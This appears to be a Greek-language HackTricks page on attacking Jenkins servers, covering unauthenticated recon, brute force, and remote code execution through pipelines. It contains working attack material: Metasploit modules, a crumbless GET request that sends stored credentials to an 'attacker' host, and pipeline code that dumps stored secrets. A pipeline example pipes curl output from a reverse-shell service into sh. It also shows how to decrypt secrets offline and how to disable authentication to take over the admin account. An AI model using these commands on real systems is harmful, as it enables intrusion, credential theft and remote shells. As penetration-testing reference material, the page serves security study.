Jenkins Ασφάλεια
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Το Jenkins είναι ένα εργαλείο που προσφέρει έναν απλό τρόπο για την εγκαθίδρυση ενός continuous integration ή continuous delivery (CI/CD) περιβάλλοντος για σχεδόν οποιονδήποτε συνδυασμό γλωσσών προγραμματισμού και αποθετηρίων πηγαίου κώδικα χρησιμοποιώντας pipelines. Επιπλέον, αυτοματοποιεί διάφορες ρουτινές εργασίες ανάπτυξης. Παρόλο που το Jenkins δεν καταργεί την ανάγκη δημιουργίας scripts για μεμονωμένα βήματα, παρέχει έναν ταχύτερο και πιο αξιόπιστο τρόπο να ενσωματώσετε ολόκληρη την αλληλουχία εργαλείων build, test και deployment από ό,τι μπορεί κανείς εύκολα να κατασκευάσει χειροκίνητα.
Αναγνώριση χωρίς αυθεντικοποίηση
Για να αναζητήσετε ενδιαφέρουσες σελίδες του Jenkins χωρίς αυθεντικοποίηση, όπως (/people or /asynchPeople, αυτό εμφανίζει τους τρέχοντες χρήστες) μπορείτε να χρησιμοποιήσετε:
msf> use auxiliary/scanner/http/jenkins_enum
Ελέγξτε αν μπορείτε να εκτελέσετε εντολές χωρίς να απαιτείται πιστοποίηση:
msf> use auxiliary/scanner/http/jenkins_command
Without credentials μπορείτε να κοιτάξετε μέσα στη διαδρομή /asynchPeople/ ή /securityRealm/user/admin/search/index?q= για usernames.
You may be able to get the Jenkins version from the path /oops or /error
.png)
Γνωστές Ευπάθειες
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub
Login
Στις βασικές πληροφορίες μπορείτε να ελέγξετε όλους τους τρόπους για login στο Jenkins:
Register
Θα μπορείτε να βρείτε Jenkins instances που allow you to create an account and login inside of it. As simple as that.
SSO Login
Επίσης, αν SSO functionality/plugins ήταν παρόντα τότε θα πρέπει να προσπαθήσετε να log-in στην εφαρμογή χρησιμοποιώντας ένα test account (π.χ., ένα test Github/Bitbucket account). Trick from here.
Bruteforce
Jenkins lacks password policy and username brute-force mitigation. It’s essential to brute-force users since weak passwords or usernames as passwords may be in use, even reversed usernames as passwords.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Χρησιμοποιήστε αυτό το python script ή αυτό το powershell script.
IP Whitelisting Bypass
Πολλές οργανώσεις συνδυάζουν SaaS-based source control management (SCM) systems όπως GitHub ή GitLab με μια internal, self-hosted CI λύση όπως Jenkins ή TeamCity. Αυτή η ρύθμιση επιτρέπει στα συστήματα CI να receive webhook events from SaaS source control vendors, κυρίως για την εκκίνηση pipeline jobs.
Για να γίνει αυτό, οι οργανώσεις whitelist τα IP ranges των SCM platforms, επιτρέποντάς τους να έχουν πρόσβαση στο internal CI system μέσω webhooks. Ωστόσο, είναι σημαντικό να σημειωθεί ότι anyone μπορεί να δημιουργήσει έναν account στο GitHub ή στο GitLab και να το ρυθμίσει να trigger a webhook, ενδεχομένως στέλνοντας αιτήματα στο internal CI system.
Εσωτερικές καταχρήσεις Jenkins
Σε αυτά τα σενάρια θα υποθέσουμε ότι έχετε έναν έγκυρο λογαριασμό για πρόσβαση στο Jenkins.
Warning
Ανάλογα με τον Authorization μηχανισμό που έχει ρυθμιστεί στο Jenkins και τα δικαιώματα του παραβιασμένου χρήστη, μπορεί να μπορείτε ή όχι να εκτελέσετε τις ακόλουθες επιθέσεις.
Για περισσότερες πληροφορίες δείτε τις βασικές πληροφορίες:
Εμφάνιση χρηστών
Αν έχετε πρόσβαση στο Jenkins μπορείτε να δείτε άλλους εγγεγραμμένους χρήστες στο http://127.0.0.1:8080/asynchPeople/
Εξαγωγή builds για να βρεθούν μυστικά σε απλό κείμενο
Χρησιμοποιήστε αυτό το script για να εξάγετε τα console outputs των builds και τις μεταβλητές περιβάλλοντος των builds, ελπίζοντας να βρείτε μυστικά σε απλό κείμενο.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Κάποια plugins εκθέτουν χειριστές Jelly validateButton ή test connection σε μονοπάτια όπως /descriptorByName/<Class>/testConnection. Όταν οι χειριστές δεν επιβάλλουν POST ή ελέγχους δικαιωμάτων, μπορείτε:
- Switch POST to GET και να απορρίψετε το Crumb για να παρακάμψετε τους ελέγχους CSRF.
- Trigger the handler ως low-priv/anonymous αν δεν υπάρχει έλεγχος
Jenkins.ADMINISTER. - Κάντε CSRF έναν admin και αντικαταστήστε την παράμετρο host/URL για να exfiltrate credentials ή να ενεργοποιήσετε outbound calls.
- Χρησιμοποιήστε τα σφάλματα απόκρισης (π.χ.,
ConnectException) ως SSRF/port-scan oracle.
Παράδειγμα GET (no Crumb) που μετατρέπει μια validation call σε SSRF/credential exfiltration:
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
Stealing SSH Credentials
Αν ο συμβιβασμένος χρήστης έχει enough privileges to create/modify a new Jenkins node και υπάρχουν ήδη αποθηκευμένα SSH credentials για πρόσβαση σε άλλους κόμβους, θα μπορούσε να steal those credentials δημιουργώντας/τροποποιώντας έναν node και setting a host that will record the credentials χωρίς να επαληθεύσει το host key:
.png)
Συνήθως θα βρείτε Jenkins SSH credentials σε έναν global provider (/credentials/), οπότε μπορείτε επίσης να τα dump όπως θα dump any other secret. Περισσότερες πληροφορίες στην Dumping secrets section.
RCE in Jenkins
Το να αποκτήσει κάποιος shell in the Jenkins server δίνει στον attacker τη δυνατότητα να leak όλα τα secrets και env variables και να exploit other machines που βρίσκονται στο ίδιο δίκτυο ή ακόμη και να gather cloud credentials.
Κατά προεπιλογή, το Jenkins θα run as SYSTEM. Επομένως, ο συμβιβασμός του θα δώσει στον attacker SYSTEM privileges.
RCE Creating/Modifying a project
Το Creating/Modifying a project είναι ένας τρόπος για να αποκτήσετε RCE στο Jenkins server:
Jenkins RCE Creating/Modifying Project
RCE Execute Groovy script
Μπορείτε επίσης να αποκτήσετε RCE εκτελώντας ένα Groovy script, το οποίο μπορεί να είναι πιο διακριτικό από τη δημιουργία ενός νέου project:
Jenkins RCE with Groovy Script
RCE Creating/Modifying Pipeline
Μπορείτε επίσης να αποκτήσετε RCE by creating/modifying a pipeline:
Jenkins RCE Creating/Modifying Pipeline
Pipeline Exploitation
Για να exploit pipelines χρειάζεται ακόμα να έχετε πρόσβαση στο Jenkins.
Build Pipelines
Pipelines μπορούν επίσης να χρησιμοποιηθούν ως build mechanism in projects, σε αυτή την περίπτωση μπορεί να διαμορφωθεί ένα file inside the repository που θα περιέχει τη σύνταξη του pipeline. Από προεπιλογή χρησιμοποιείται /Jenkinsfile:
.png)
Είναι επίσης δυνατό να store pipeline configuration files in other places (π.χ. σε άλλα repositories) με στόχο το separating του repository access και του pipeline access.
Αν ένας attacker έχει write access over that file θα μπορεί να το modify και potentially trigger το pipeline χωρίς καν να έχει πρόσβαση στο Jenkins. Είναι πιθανό ότι ο attacker θα χρειαστεί να bypass some branch protections (ανάλογα με την πλατφόρμα και τα user privileges αυτά μπορεί ή μπορεί να μην παρακαμφθούν).
The most common triggers to execute a custom pipeline are:
- Pull request to the main branch (or potentially to other branches)
- Push to the main branch (or potentially to other branches)
- Update the main branch and wait until it’s executed somehow
Note
If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.
Pipeline RCE
Στην προηγούμενη ενότητα RCE είχε ήδη υποδειχθεί μια τεχνική για να get RCE modifying a pipeline.
Checking Env variables
Είναι δυνατόν να δηλώσετε clear text env variables για ολόκληρο το pipeline ή για συγκεκριμένα stages. Αυτές οι env variables shouldn’t contain sensitive info, αλλά ένας attacker θα μπορούσε πάντα να check all the pipeline configurations/Jenkinsfiles:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Εξαγωγή μυστικών
Για πληροφορίες σχετικά με το πώς συνήθως χειρίζεται το Jenkins τα μυστικά, δείτε τις βασικές πληροφορίες:
Τα διαπιστευτήρια μπορούν να είναι scoped to global providers (/credentials/) ή σε specific projects (/job/<project-name>/configure). Επομένως, για να εξαγάγετε όλα αυτά πρέπει να compromise τουλάχιστον όλα τα projects που περιέχουν μυστικά και να εκτελέσετε custom/poisoned pipelines.
Υπάρχει ένα ακόμα πρόβλημα: για να τοποθετηθεί ένα secret inside the env ενός pipeline πρέπει να γνωρίζετε το όνομα και τον τύπο του secret. Για παράδειγμα, αν προσπαθήσετε να load ένα usernamePassword secret ως string secret, θα λάβετε αυτό το error:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Εδώ έχετε τον τρόπο να φορτώσετε μερικούς κοινούς τύπους secret:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
Στο τέλος αυτής της σελίδας μπορείτε να βρείτε όλα τα credential types: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
Ο καλύτερος τρόπος για να dump all the secrets at once είναι με το compromising της μηχανής Jenkins (π.χ. εκτελώντας ένα reverse shell στον built-in node) και στη συνέχεια leaking τα master keys και τα encrypted secrets και να τα αποκρυπτογραφήσετε offline.
Περισσότερα για το πώς να το κάνετε αυτό στην Nodes & Agents section και στην Post Exploitation section.
Triggers
From the docs: Η οδηγία triggers ορίζει τους αυτοματοποιημένους τρόπους με τους οποίους το Pipeline πρέπει να ξανα-προκληθεί. Για Pipelines που είναι ενσωματωμένα με μια πηγή όπως το GitHub ή το BitBucket, το triggers ενδέχεται να μην είναι απαραίτητο, καθώς η ενσωμάτωση με webhooks πιθανότατα υπάρχει ήδη. Οι triggers που είναι διαθέσιμες προς το παρόν είναι cron, pollSCM και upstream.
Cron example:
triggers { cron('H */4 * * 1-5') }
Δείτε άλλα παραδείγματα στην τεκμηρίωση.
Nodes & Agents
Μια Jenkins instance μπορεί να έχει διαφορετικούς agents που τρέχουν σε διαφορετικές μηχανές. Από την οπτική ενός attacker, η πρόσβαση σε διαφορετικές μηχανές σημαίνει διαφορετικά πιθανά cloud credentials για κλοπή ή διαφορετική πρόσβαση δικτύου που μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί άλλες μηχανές.
Για περισσότερες πληροφορίες δείτε τις βασικές πληροφορίες:
Μπορείτε να απαριθμήσετε τους configured nodes στο /computer/, συνήθως θα βρείτε το **Built-In Node ** (το οποίο είναι ο κόμβος που τρέχει Jenkins) και πιθανώς περισσότερα:
.png)
Είναι ιδιαίτερα ενδιαφέρον να παραβιάσετε το Built-In node επειδή περιέχει ευαίσθητες πληροφορίες του Jenkins.
Για να υποδείξετε ότι θέλετε να run το pipeline στον built-in Jenkins node μπορείτε να ορίσετε μέσα στο pipeline την παρακάτω config:
pipeline {
agent {label 'built-in'}
Πλήρες παράδειγμα
Pipeline σε έναν συγκεκριμένο agent, με cron trigger, με pipeline και stage env variables, φορτώνοντας 2 variables σε ένα step και στέλνοντας ένα reverse shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Arbitrary File Read to RCE
Jenkins Arbitrary File Read to RCE via “Remember Me”
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Μετά την Εκμετάλλευση
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
Μπορείτε να απαριθμήσετε τα secrets προσπελάζοντας /credentials/ αν έχετε αρκετά δικαιώματα. Σημειώστε ότι αυτό θα απαριθμήσει μόνο τα secrets μέσα στο αρχείο credentials.xml, αλλά τα build configuration files μπορεί επίσης να έχουν περισσότερα credentials.
.png)
Από Groovy
Jenkins Dumping Secrets from Groovy
Από το δίσκο
Αυτά τα αρχεία χρειάζονται για να αποκρυπτογραφήσετε τα Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Τέτοια secrets συνήθως βρίσκονται σε:
- credentials.xml
- jobs/…/build.xml
- jobs/…/config.xml
Εδώ υπάρχει ένα regex για να τα βρείτε:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Αποκρυπτογράφηση των μυστικών του Jenkins εκτός σύνδεσης
Αν έχετε εξάγει τους απαραίτητους κωδικούς για την αποκρυπτογράφηση των μυστικών, χρησιμοποιήστε αυτό το script για να αποκρυπτογραφήσετε αυτά τα μυστικά.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Αποκρυπτογράφηση μυστικών του Jenkins από Groovy
println(hudson.util.Secret.decrypt("{...}"))
Δημιουργία νέου admin χρήστη
- Πρόσβαση στο αρχείο Jenkins config.xml στο
/var/lib/jenkins/config.xmlήC:\Program Files (x86)\Jenkis\ - Αναζητήστε τη λέξη
<useSecurity>true</useSecurity>και αλλάξτε τη λέξη **true** σεfalse. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- Επανεκκινήστε τον Jenkins διακομιστή:
service jenkins restart - Τώρα πηγαίνετε ξανά στην πύλη Jenkins και ο Jenkins δεν θα ζητήσει διαπιστευτήρια αυτή τη φορά. Πλοηγηθείτε στο “Manage Jenkins” για να ορίσετε ξανά τον κωδικό διαχειριστή.
- Ενεργοποιήστε ξανά την ασφάλεια αλλάζοντας τις ρυθμίσεις σε
<useSecurity>true</useSecurity>και επανεκκινήστε ξανά τον Jenkins.
Αναφορές
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

